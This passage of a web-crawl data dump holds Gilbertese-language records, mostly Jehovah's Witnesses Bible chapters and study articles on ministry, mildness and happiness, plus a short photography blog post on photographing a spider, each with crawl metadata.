nako.\" (Ruka 9:59, 60) E teretere bwa e tuai ni mate taman teuaei ma ngke arona bwa e mate n te tai aei, tao e na aki roko ikai te nati aei n taetae ma Iesu. E tuai n tauraoi te nati aei ni karimoaa Ana Tautaeka n Uea te Atua ni maiuna.\nNgke a mwananga i nanon te kawai nako Ierutarem, e a manga tuanga Iesu temanna riki te mwaane ni kangai: \"N na iririko te Uea, ma kariaia moa bwa N na nako ni kaboo ma au utu.\" E kaeka Iesu ni kangai: \"Akea te aomata ae katokaa baina i aon te bwai ni kamarautano ma n tanrikaaki, ae tau ibukin ana Tautaeka n Uea te Atua.\"—Ruka 9:61, 62.\nA riai ni kaatuua iangoan te beku ibukin te Tautaeka n Uea naake a kan riki bwa taan rimwin Iesu ni koaua. E kona ni bwaoua rainin kawain te aroka ngkana e tanrikaaki te tia kamarautano n tarai baika mena i akuna, n onean mwin ae e na kaatuua ana taratara i aoni baika mena imwaina. N aron anne, e kona ni bwaka man te kawai ae tiki nakon te maiu are aki toki te aomata ae kaatuua iangoan te waaki ae ngkai i aon te aba.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/mwakuri-ni-minita-i-kariraia\/angareirei-mwananga-nako-ierutarem\/","date":"2018-04-19T16:22:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936981.24\/warc\/CC-MAIN-20180419150012-20180419170012-00484.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":805,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KAKAWAKI ao ni bongana ara mwakuri ni minita. Ma a aki bane aomata ake ti uarongorongo nakoia ni kukurei iai. E ngae ngke a kaota te kan ongora n te rongorongo man te Baibara, ma a aki ataa kakawakin ae a kainnanoa te reirei n Ana Taeka te Atua ma ngaira.\nE noraki koauan aei iroun Gavin are moana kaakaeani bobotaki n te ekaretia ma e rawa ni butimwaea te reirei n te Baibara. E taku teuaei: \"E aki rangi n tau au atatai n te Baibara ao I aki kani kaota kabwakau. I taraia raoi bwa N na aki mwamwanaaki ao e na aki tauaki au tai iai.\" Tera am iango? Ko na iangoia bwa e aki kona ni bitaki Gavin? Tiaki ngaia anne! Iangoi uaa aika raraoi iroun te aomata ae reirei n te Baibara. E tuangia ana aomata rimoa Iehova ni kangai: \"A na timtim au taeka n ai aron te aoi, n ai aron te maatim ni karau ae bwaka i aon te uteute.\" (TuaKau. 31:19, 30; 32:2) A kamatataaki raoi ni kabwarabwaraan te aoi arora ni buokiia aeka n aomata nako n ara mwakuri ni minita n te aro ae uaana.\nTE MWAKURI NI MINITA KAANGA AI ARON TE AOI\n—N TE ARO RAA?\nE bwaka ni maatim te aoi. E moan riki te aoi man ikoikotakin te maatim n ran man te buane are n te ea. A 'maatim n aron te aoi' ana taeka Iehova bwa e taetae ma te akoi, te aamarau, ao te mwamwannano, nakoia ana aomata. Ti kakairi irouna ngkana ti kaota karinean ana iango te aomata. Ti kaungaia aomata bwa a na kabonganai oin aia iango ao ni karaoi aia babaire iai. Ngkana ti kaota te mwamwannano n aron anne, a na kai butimwaeaki ara taeka ao e na uaana riki ara mwakuri ni minita.\nE kabebetenano te aoi. A kabebeteaki aomata n ara mwakuri ni minita ngkana ti iaiangoa te aro ae moan te tamaroa ibukini karikirakean riki kan ongoraeia. E aki kairoroaki Gavin are taekinaki mai moa bwa e na butimwaea te reirei n te Baibara. Ma ngke e moani kawaraki iroun te tari ae Chris, e kakaaei aanga aika kakaokoro teuaei bwa e aonga Gavin ni kukurei riki ni kani maroro n te Baibara. E kabwarabwaraa Chris nakoni Gavin ae iai te boto n iango n te Baibara, ao ngkana e ataia e na buokaki n ota riki ni bobotaki ake e kaakaei. E kaotia imwina Chris bwa bon te taetae ni burabeti n te Baibara are e a kakoauaa iai bwa e boni koaua te Baibara. Aei are e a karekei maroro aika kakaokoro ibukini kakoroani bukin te taetae ni burabeti. E namakina kabebetean nanona Gavin ni maroro aikai, ao n tokina e a butimwaea te reirei n te Baibara.\nE kateimatoa te maiu te aoi. E kabuebue ao ni mwautakataka te aba ae Iteraera n tain aki bwabwakan te karau n namwakaina aika bati. A kona aroka n rai ao ni mate ngkana akea te mwaimwai man te aoi. E riki naba n taai aikai te mwautakataka n taamnei, n aron are e taetae ni burabetinna Iehova. (Amota 8:11) E berita bwa a na riki \"n aron te aoi mairoun Iehova\" taan tataekina te rongorongo ae raoiroi aika kabiraki, n aroia n tataekina rongorongon te Tautaeka n Uea ao a boutokaaki irouia raoia aika \"tiibu tabemwaang.\" (Mika 5:7; Ioa. 10:16) E kakawaki iroura ara rongorongo ae raoiroi ae taekan te Tautaeka n Uea ae iteran naba ana bwaintituaraoi Iehova ae te aoi n taamnei ae kateimatoa te maiu?\nBon te kakabwaia mairoun Iehova te aoi. (TuaKau. 33:13) E kona ara mwakuri ni minita n riki bwa te kakabwaia nakoia naake a butimwaeia. E karekea naba te kakabwaia ae aron anne Gavin. A reke kaekaan ana titiraki ni kabane man reireina n te Baibara. E waekoa n rikirake nakon te bwabetito, ao e a kukurei ngkai ma buuna ae Joyce n uataboa tataekinan te rongorongo ae raoiroi ae taekan te Tautaeka n Uea.\nE NA KAKAWAKI IROUM AM MWAKURI NI MINITA\nNgkana ti iaiangoa te aoi ti kona ni kaungaaki naba iai bwa e na rangi ni kakawaki iroura uataboan te mwakuri ni minita. N te aro raa? E rangi n uarereke ae kona n reke man te timtim n ran teuana, ma a kona ni kamwaimwa te aonnaba timtim aika mirion ma mirion aika ikotaki. N aron anne, e kona n taraa n rangi n uarereke iroura ara mwakuri ni minita ngkana tii ngaira. Ma ikotakin aia kakorakora ana minita Iehova ni kabane ake a anga ngaiia, e a buokaki iai tataekinan te rongorongo ae raoiroi \"nakoia botannaomata ni kabane.\" (Mat. 24:14) E kona n riki ara mwakuri ni minita bwa te kakabwaia mairoun Iehova nakoia aomata? Eng, ngkana ti tataekina te rongorongo n aron te aoi ae bwaka ni maatim, e kabebetenano, ao e kateimatoa te maiu!","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-eberi-2016\/e-riki-am-mwakuri-ni-minita-bwa-kaanga-te-aoi\/","date":"2018-04-19T14:37:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00490.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":807,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E katanga beeron te mataroa Toñi ae te tia tararuaia kaara ao e kaekaa te aine ae abwi tabun ana ririki. E bwaurana Toñi ao ni mwangaingai nakoina ibukina bwa e aki kaman roko n tararuaa tinana ae e a kara. E bon aki rimwi nakon te mwakuri Toñi. Ma e ngae n anne, e taetae ma te aamarau ni kabwaraa ana bure nakon neierei ibukin aki otana.\nN ROKONA are imwina, e a manga taetae naba n un nakoina neierei. Tera aron Toñi? E taku: \"E rangi ni kamarakinano arona aei. Bwa bon akea koauan ana taeka aika kammaraki aikai.\" Ma e a manga kabwaraa naba ana bure Toñi ao e tuanga te aine aei bwa e ota n te bwai ae e rawawata iai.\nNgke arona bwa ngkoe Toñi, e na tera arom iai? Ko na kataia ni kaotiota te nimamannei? Ko na kakorakorako n taotaona unim? Ni koauana, e bae n aki bebete kateimatoaan taotaonan am namakin ni kaineti ma te bwai ae taekinaki mai eta aei. Bon te kangaanga teuana te teimatoa n nimamannei ngkana ti rawawata ke ti kaunaki.\nMa a kaungaaki Kristian n te Baibara bwa a na nimamannei. E boni kairekerekeaki te aroaro anne ma te wanawana n Ana Taeka te Atua. E titiraki ni kangai Iakobo: \"Antai ae wanawana i buakomi ao n ataibwai? E riai te aomata anne ni bwaina te aroaro ni maiu ae raoiroi ae e oti iai bwa e karaoi bwaai ni kabane ma te nimamannei ae nako man te wanawana.\" (Iak. 3:13) N te aro raa ae e riki iai te nimamannei bwa te bwai ni kakoaua ibukin te wanawana are mai karawa? Ao tera ae e kona ni buokira ni karikirakea aroaron te Atua aei?\nTE NANO AE NIMAMANNEI AE NAKO MAN TE WANAWANA\nE kona ni kamaraua te un te nimamannei. \"E rairaanako te un ae korakora te kaeka ae nimamannei, ma e kauekea te un te taeka ae kamarakinano.\"—TaeRab. 15:1.\nE kona ni kakorakoraa riki te kangaanga te mwangaingai ni kaeka bwa ai aron ae e a kabatiaaki riki iai kanaan te ai. (TaeRab. 26:21) Ni kaitaraan anne, n angiin te tai e reke te rau man te kaeka ae nimamannei. E kona naba ni kamaraua nanon te aomata ae kairiribai.\nE a tia n nora aei Toñi. E bon tang te aine arei ngke e nora aron Toñi ni kaeka ma te nimamannei. E kabwarabwaraa te aine aei bwa a taonna rawawatana ao kangaanga n ana utu naba. E a anaaki nanon neiei n aroaron Toñi ao e a moanaki te reirei n te Baibara tii man aroarona ae e taotaona unna ao n rau.\nTi kona ni kukurei ni bwainan te nimamannei. \"A a kukurei akana nimamannei bwa a na bwaibwai n te aonnaba.\"—Mat. 5:5.\nE aera ngkai a kukurei aika nimamannei? A a kukurei ngkai aomata aika bati n tatabemania nako ake a unun ngkoa, ibukina bwa a a karina i aoia te nimamannei. E nakoraoi riki maiuia, ao a ataia ae e mena imwaia te kantaninga ae kakukurei. (IKoro. 3:12) E uringa aroni maiuna imwain reken te koaua irouna Adolfo, ae te mataniwi n te aono ae uarereke ngkai i Tibein.\nE taku Adolfo: \"Akea au kantaninga ni maiuu. I a bon unun nako naba ngaia are a a boni maakai tabeman raoraou ibukini kainikatongau ao iowawaau. N tokina e a reke bitakiu, imwin oneai kaiu n te biti are I a kuri ni mate iai n tiinakon raraau.\"\nMa ni boong aikai, e a reireinia tabemwaang Adolfo n ana taeka ao ana katoto bwa a na nimamannei n aia taetaenikawai ao n aia mwakuri. A bati aika anaaki nanoia man aroaron teuaei aika raraoi ma ni kakukurei. E taekinna Adolfo bwa e kukurei ni bitaki ake e kona ni karaoi. Ao e kaitaua Iehova ibukina bwa e buokia ni karikirakea te nimamannei.\nE kakimwareireia Iehova te nimamannei. \"Bwaina te wanawana natiu, ao kakimwareireia nanou, bwa I aonga ni kaekaa teuare kakanikoai.\"—TaeRab. 27:11.\nE boni kakanikoaki Iehova iroun teuare karoton te tia kairiribai are te Riaboro. E riai n rangi n un te Atua ngkai bon nanon aiana aei ni kani kaunna, ma e ngae n anne e taekinaki Iehova n te Baibara bwa e \"iremwe n un.\" (TeOti. 34:6) Ngkana ti kakorakoraira ni katotonga aron te Atua ae e iremwe n un ao n nimamannei, ti a toua iai kawain te wanawana are e rangi ni kukurei iai Iehova.—IEbe. 5:1.\nN angiin te tai, te aonnaba ae ngkai bon te tabo ae bati iai te kairiribai. Ti kona ni kaitiboo ma aomata aika \"kamoamoa, taan nanorieta, taan taetae ni kabuakaka, . . . taan uarao, taan aki taubaang, [ao] taan iowawa.\" (2Tim. 3:2, 3) Ma e aki riai n tukaki te Kristian mani karikirakean te nano ae nimamannei. Ti kauringaki n Ana Taeka te Atua bwa \"te wanawana are mai karawa . . . e rau, [ao] e aki imanono.\" (Iak. 3:17) Ngkana ti kaotiota te nano ae rau ao ae e aki imanono, bon te bwai ni kakoaua bwa e a reke iroura te wanawana are mairoun te Atua. Ti kairaki n te wanawana anne bwa ti na kaeka ma te nimamannei ngkana ti kaunaki, ao e na kaanira riki ma Iehova ae Nibwan te wanawana ae akea tiana.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/reirei-n-te-taua-n-tantani-ritembwa-2016\/te-nimamannei-boni-kawain-te-wanawana\/","date":"2018-04-22T05:35:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945493.69\/warc\/CC-MAIN-20180422041610-20180422061610-00023.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":864,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E aki rangi ni bebete ke ni baiti rawean tamnein te spider aio. E rangi n angabuaka bwa e mena n te tiiring (ceiling) are nanona bwa e botararake n nim ma te tiiring. Te tairiki bwa tao mwiin 9 pm ao ti ootan te taura te iti n roko iai.\nI tei ngkanne i aon te taibora n te aro are N na kona n roko n te tiiring. I tekeraoi bwa e aki kan birinako te spider aio n au tai n rawea tamneina. Aikai taian settings ngke I rawerawe n te Manual mode, f\/5.6, iso 100, shutter speed 1\/15sec, flashlight on ao manual focus on lens.\nI a manga cropped n te aro are e ti mataata mwakoron te spider ane ko noria. I katurua teutana karana ao man kabongana naba te sharpen tool.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/tag\/spider\/","date":"2018-04-26T03:23:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00060.warc.gz","language":"gil","language_score":1.0000066757,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000066757202148}","num_words":135,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16 \"I atongi baikai nakoimi bwa kam aonga n aki bwaka. 2 Ane a na kabaneingkami man te tinakoka.*+ Ni koauana, e a kaan te tai are a nang iangoia iai te koraki ake a kamateingkami+ bwa a karaoa iai te beku ibukin te Atua. 3 Ma a na karaoi baikai ibukina bwa a aki ataa te Tama, ke ngai.+ 4 Ma I tuangingkami baikai bwa ngkana e a roko te aoa ibukia ao kam na uringa are I a tia n tuangingkami.+ \"I aki moantaai n tuangingkami baikai ibukina bwa I mena i rarikimi. 5 Ma ngkai, N nangi nakon Teuare kanakomaiai,+ ao akea temanna iroumi ae titirakinai ni kangai, 'Ko na nakea?' 6 Ma ibukina bwa I tuangingkami baikai, ao a kororake nanomi+ n rawawata iai. 7 Ma I tuangingkami te koaua, bwa boni kabwaiami ngkai I nako. Bwa ngkana I aki nako ao e na aki roko iroumi te tia ibuobuoki,+ ma ngkana I nako ao N na kaokia nakoimi. 8 Ao ngkana e roko te tia ibuobuoki, ao e na anga bwaai ni kakoaua nakoia kaain te aonnaba ni kaineti ma tera ae bure ao tera ae eti ao tera te motikitaeka. 9 Te moan, e kaineti ma te bure+ ibukina bwa a aki onimakinai,+ 10 ao imwina, e kaineti ma te eti, ibukina bwa N nangi nakon te Tama ao kam na aki manga norai, 11 ao imwina, e kaineti ma te motikitaeka, ibukina bwa e a motikaki taekan te tia tautaekania kaain te aonnaba aei.+ 12 \"A bati riki baika I kan tuangingkami, ma kam aki kona n ota moa iai ngkai. 13 Ma ngkana e roko teuanne,* ae te taamnei ae raoiroi ae kaota te koaua,+ ao e na kairingkami ni buokingkami bwa kam na ota raoi n te koaua, bwa e na aki taetae i bon irouna, ma e na taekini baike e ongo, ao e na taekin nakoimi baika a na roko.+ 14 E na kamimitongai+ ibukina bwa e na kaotiotii nakoimi baike e na karekei mairou.+ 15 Bwaai ni kabane aika mena iroun te Tama bon au bwai.+ Anne bukina ae I taekina iai te tia ibuobuoki bwa baike e karekei mairou, ao e a manga kaotiotii nakoimi. 16 Ai tii teutana riki ao kam a aki naba norai,+ ma ai manga tii teutana riki ao kam na norai.\" 17 Ngaia are a taku tabeman taan rimwina i marenaia: \"Tera nanon ae e kangai iai nakoira, 'Ai tii teutana riki ao kam a aki naba norai, ma ai manga tii teutana riki ao kam na norai,' ao ae kangai, 'ibukina bwa N nangi nakon te Tama'?\" 18 Mangaia are a taku: \"Tera ae e nanonna ngke e kangai, 'ai tii teutana riki'? Kai ti aki ataa te bwai ae e taekinna.\" 19 E ataia Iesu bwa a kan titirakinna mangaia are e taku nakoia: \"Kam titiraki i marenami ibukina bwa I kangai: 'Ai tii teutana riki ao kam a aki naba norai, ma ai manga tii teutana riki ao kam na norai?' 20 I tuangingkami raoi te koaua, bwa ane kam na tang ma n tanginiwenei, ma a na kimwareirei kaain te aonnaba. Ane kam na rawawata ma e na bitaki rawawatami nakon te kimwareirei.+ 21 Ngkana e nangi bung te aine ao e rawawata ibukina bwa e a roko ana aoa, ma ngkana e a tia ni bungia te teei, ao ai akea uringan rawawatana ibukini kimwareireina ngkai e a bungiaki te aomata nakon te aonnaba. 22 Mangaia are kam rawawata naba ngkami n te tai aei. Ma N na manga bon noringkami ao ane a na kimwareirei+ nanomi, ao akea ae e na anaa kimwareireimi. 23 N te bong arei ao ane kam na aki titirakinai te bwai teuana. I tuangingkami raoi te koaua, bwa ngkana kam butiia te Tama te bwai teuana+ n arau, ao ane e na anganingkami.+ 24 Akea te bwai teuana ae kam a tia ni bubutii iai n arau ni karokoa ngkai. Bubutii ao ane e na reke iroumi, bwa e aonga ni kororaoi kimwareireimi. 25 \"I taekini baikai nakoimi n taiani kabotau. E na roko te tai are N nang aki manga taetae iai nakoimi n te kabotau, ma N na tuangingkami baika a kaineti ma te Tama n te aro ae mataata. 26 N te bong anne ao kam na bubutiia te Tama n arau, ma I aki nanonna n taekinan anne bwa N na bubutii ibukimi. 27 Bwa e bon tangiringkami te Tama, ibukina bwa kam tangirai+ ao kam kakoauaa ae I bon roko bwa te tia tei ibukin te Atua.+ 28 I roko bwa te tia tei ibukin te Tama ao I roko nako buakoia kaain te aonnaba. Ma N na manga kitania kaain te aonnaba ao N na nakon te Tama.\"+ 29 A taku taan rimwina: \"Noria! Ko a taetae n te aro ae mataata ngkai ao ko a aki kabonganai taiani kabotau. 30 Ti a ataia ngkai bwa ko atai bwaai ni kabane ao ko aki kainnanoa temanna bwa e na titirakiniko. Ti kakoauaa man aei bwa ko bon nako mairoun te Atua.\" 31 E kaekaia Iesu ni kangai: \"Kam a kakoauaa ngkai? 32 Noria! E a kan roko te aoa ae ni koauana e a bon roko, ae kam nangi maenako iai n tatabemaningkami nako nakon oin ami auti ao kam nang katukai n tii ngai.+ Ma tiaki tii ngai, ibukina bwa raou te Tama.+ 33 I taekini baikai nakoimi bwa e aonga n reke te raoi+ iroumi rinanou. Kam na rawawata ngkai i buakoia kaain te aonnaba, ma kaninikoriaingkami! I a tia n tokanikai i aoia kaain te aonnaba.\"+\nTaiani Kabwarabwara Mai Nano\n^ Nora Nanon Taeka.\n^ E kaineti \"teuanne\" ao \"e\" akana n te kibu 13 ao 14, nakon \"te tia ibuobuoki\" ane n te kibu 7. Iesu e kabongana \"te tia ibuobuoki\" bwa aongkoa te aomata te taamnei ae raoiroi. (N te kuramwa n te taetae ni Kuriiti \"te tia ibuobuoki\" e kabonganaaki iai te taeka ae tei ibukin te mwaane.) Te taamnei ae raoiroi bon te korakora ao tiaki te aomata. N te kuramwa n te taetae ni Kuriiti \"te taamnei ae raoiroi\" e kabonganaaki iai te taeka ae kaotia bwa tiaki te mwaane ao tiaki te aine.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ioane\/16\/","date":"2018-04-19T19:40:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00098.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":999,"character_repetition_ratio":0.081,"word_repetition_ratio":0.033,"special_characters_ratio":0.247,"stopwords_ratio":0.449,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KO IANGOIA BWA TE AOMATA NGKOE AE KO KUKUKUREI? Ngkana eng, tera ae e karika kukureim? Am utu, am mwakuri, am onimaki n am Aro? Tao ko ingainga nakon te bae kakukurei n aroni banen am reirei, reken am mwakuri ae nakoraoi, ke kabooan am kaa ae boou.\nA bati aomata aika rangi ni kukurei n rokoia n tiaia teuana ke n reken te bae a tangiria. Ma maanra te aeka ni kukurei anne? N angiin te tai e aki teimatoa, ike e a karika te bwarannano.\nE kabwarabwaraaki te kukurei bwa te marurung ae teimatoa, ae reke man te aroaro ae moa man te raunnano n uaa te kimwareirei ae bati ni maium, ao man nanom ni kani kateimatoa arom anne.\nAo n aron te marurung ae reitinako, e kabwarabwaraaki te kukurei bwa tiaki tokini kawaim ke tiam, ma ai aron te mwananga. Taekinan ae kangai, \"N na kukurei ngkana . . . \" titeboo ma ko kakiriariaa rokon te kukurei.\nNi kabwarabwaraana, kabotaua te kukurei ma te marurung. Ti na kangaa n teimatoa ni marurung? Ti wanawana ngkana ti tararuaa kanara, ti kakamarurung, ao ti kanakoraoa maiura. N aron anne, e reke te kukurei man touan te kawai ae raoiroi ni maiura, ao maiuakinani booto n reirei aika kona n onimakinaki.\nBaikara booto n reirei ke aroaro aika kaota te kawai nakon te kukurei? E ngae ngke a kakawaki riki tabeua nakon ake tabeua, ma a manena naba baika kaotaki aikai:\nTE RAUNNANO AO TE TITUARAOI\nTE MARURUNG AO TE KORAKORA\nTE TANGIRA\nKABWARAANI BUURE\nTE KANTANINGA N TE MAIU\nTE KANTANINGA\nE kangai te boki teuana ae rangi ni karineaki, ae reke iai te wanawana: \"A a kukurei akana akea kabuakakaan aroia.\" (Taian Areru 119:1) Ti na nora ngkai te kawai anne.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taratara-na1-2018-maati-eberi\/kawai-nakon-te-kukurei-ukeran-te-kawai\/","date":"2018-04-19T14:40:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00599.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":290,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.383,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"34 Ao e reitia ni kangai Iehova nakoni Mote: 2 \"Angania tibun Iteraera kaetieti aikai: 'Ngkana kam rinnako n te aba ae Kanaan,+ ao e na reke iroumi te aba aei bwa tibwangami, ae te aba ae Kanaan ni kaineti ma tiana nako.+ 3 \"'E na moa tiami mai maiaki man rereuan Tiin n rirarikin Etom, ao e na moa tiami i maiaki mai mainiku mai tabon te Nama ae Taari.*+ 4 E na bwakeenako tiami rimaiakin te kawai n ararakea Akerabim+ ni karokoa Tiin, ao tokina boni maiakini Katetibaanea.+ Ao e na reitinako nako Aatata+ ni karokoa Atimon. 5 E na bwakeenako tian te aba i Atimon ni karokoa Mwaruan Aikubita, ao e na mena tokina i rarikin Taari.*+ 6 \"'Tiami mai maeao bon Taari ae Abwabwaki* ao mataniwin te aba. E na riki aei bwa tiami mai maeao.+ 7 \"'E na riki aei bwa tiami mai meang: Kam na kanikinaea tiami man Taari ae Abwabwaki ni karokoa te Maunga ae Ora.+ 8 Kam na kanikinaea te tia man te Maunga ae Ora ni karokoa Reboamata,*+ ao e na mena tokin te tia i Tetata.+ 9 Ao e na reitinako te tia nako Tiberon ao tokina bon Ataenan.+ E na riki aei bwa tiami mai meang. 10 \"'Ao kam riai ni kanikinaea tiami i mainiku, mai Ataenan nako Tiebam. 11 E na moa te tia mai Tiebam ni karokoa Ribera* nako mainikun Ain, ao e na kaneneinako te tia anne nakon iteran Namani Kinnereta* mai mainiku.+ 12 E na reitinako te tia nakon te Ioretan ao tokina bon te Nama ae Taari.+ E na riki aei bwa abami+ ma tiana ni katobibia.'\" 13 Mangaia are e tuangia tibun Iteraera ni kangai Mote: \"Aio te aba ae kam na tibwatibwaia bwa abami rinanon te kanikina* mairoun te Atua,+ n aron are e tua Iehova bwa a na anganaki baronga ake ruaiwa ma te iterana. 14 A a tia n anai tibwangaia te baronga ae kaainaki irouia tibun Reuben n aia koraki mairoun tamaia, ao te baronga ae kaainaki irouia tibuni Kata n aia koraki mairoun tamaia, ao te itera ni baronga are Manate.+ 15 A a tia baronga aika uoua ao te iterana n anai tibwangaia i mainiku n aonon te Ioretan are uakaan ma Ieriko ni kaitaraa otin taai.\"+ 16 E reitia ni kangai Iehova nakoni Mote: 17 \"Aikai araia mwaane ake a na tibwatibwaa te aba bwa abami, Ereata+ are te ibonga* ao Iotua+ are natin Nun. 18 Ao kam na anaa kaka temanna te mataniwi mani baronga nako, bwa a na tibwatibwaa te aba bwa tibwangami.+ 19 Aikai araia mwaane akanne: Kareba+ are natin Iebunne man te baronga ae Iuta,+ 20 Temuera are natin Ammiuta man te baronga ae kaainaki irouia tibun Timeon,+ 21 Eritata are natini Kitiron man te baronga ae Beniamin,+ 22 te mataniwi ae Buki are natin Iokeri man te baronga ae kaainaki irouia tibun Tan,+ 23 te mataniwi ae Anniera are natin Ebota mai buakoia tibun Ioteba,+ man te baronga ae kaainaki irouia tibuni Manate,+ 24 te mataniwi ae Kemuera are natin Tibetan man aia baronga tibun Eberaim,+ 25 te mataniwi ae Eritaban are natini Barenaka man te baronga ae kaainaki irouia tibun Teburun,+ 26 te mataniwi ae Baretiera are natin Atan man te baronga ae kaainaki irouia tibun Itakara,+ 27 te mataniwi ae Aiuta are natin Teromi man te baronga ae kaainaki irouia tibun Atera,+ 28 ao te mataniwi ae Betaeera are natin Ammiuta man te baronga ae kaainaki irouia tibun Nabetari.\"+ 29 Nakanne ake e tua Iehova nakoia, bwa a na tibwatibwaa te aba nakoia tibun Iteraera n te aba ae Kanaan.+\nTaiani Kabwarabwara Mai Nano\n^ Ae taekan Taari ae Mate.\n^ Ae taekan Taari ae Abwabwaki, ae te Meriteranian.\n^ Ae taekan te Meriteranian.\n^ Ke, \"te kawai n rin i Amata.\"\n^ Aio Ribera ae mena i aon tian te aba ae Kanaan mai mainiku. Tiaki Ribera ae mena n te aba ae Amata.\n^ Bon te nei ae abwabwaki ae kanoana te ran ae mam. E aranna naba te Baibara bwa Namani Kennetareta, Namani Kariraia, ao Naman Tiberiati.\n^ A kabongana te aro teuana are e kona iai te Atua ni kaotia bwa tera nanona ni kaineti ma te bwai anne.\n^ Nora Nanon Taeka.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/warekaia-iteraera\/34\/","date":"2018-04-24T11:24:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946597.90\/warc\/CC-MAIN-20180424100356-20180424120356-00577.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":671,"character_repetition_ratio":0.118,"word_repetition_ratio":0.003,"special_characters_ratio":0.238,"stopwords_ratio":0.379,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon te Uea i aoni bwaai ni kabane Iehova. E a kaman tautaeka ao e na bon tautaeka n aki toki. N te katoto, e kamaiua Ieremia man te mwarua are e kona ni mate iai. E kamaiua Tiateraka, Metiaka, ao Abeteneko mani nnen te ai ae uramwaaka ao e kamaiua Taniera mai wia raian. E kamanoaki Etita iroun Iehova bwa e aonga neiei ni kamaiuia kaain abana. E aki kariaia te buakaka bwa e na reitinako n aki toki. A kakoauaaki n taian taetae ni burabeti ibukin te boua ae totoakaei ao te aroka ae buburakaei, bwa e na waekoa Ana Tautaeka n Uea Iehova ni kamauna te buakaka ni kabane ao n tautaekana te aonnaba.\nN TE MWAKORO AEI\nREIREI 57\nA un unimwaanen Iuta n ana taeka te burabeti ae ataei aei.\nREIREI 58\nA teimatoa kaain Iuta n taromaurii atua aika kewe ngaia are e a kitania Iehova.\nREIREI 59\nA motinnanoia rooro n rikirake aika I-Iutaia bwa a na teimatoa ni kakaonimaki nakon Iehova, e ngae ngke a mena n te baareti i Baburon.\nREIREI 60\nE kaota nanoni miin Nebukaneta ae kamimi Taniera.\nREIREI 61\nA rawa Tiateraka, Metiaka, ao Abeteneko n taromauria ana boua ae te koora ueani Baburon.\nREIREI 62\nE kaotaki baika a na riki nakon Nebukaneta n taai ake imwaina ni miina.\nREIREI 62\nE kaoti n ningai te koroboki ae kamimi aei ao tera nanona?\nREIREI 64\nTataro nakon Iehova ni katoabong n aron Taniera!\nREIREI 65\nE ngae ngke te ianena neiei ao a a tia ni mate ana karo ma e a riki bwa te ueannaine.\nREIREI 66\nA karaoa aia berita ae okoro tibun Iteraera nakon te Atua ngke a a tia n ongora iroun Etira.\nREIREI 67\nE a ataia Neemia ae a baireia aiana bwa a na 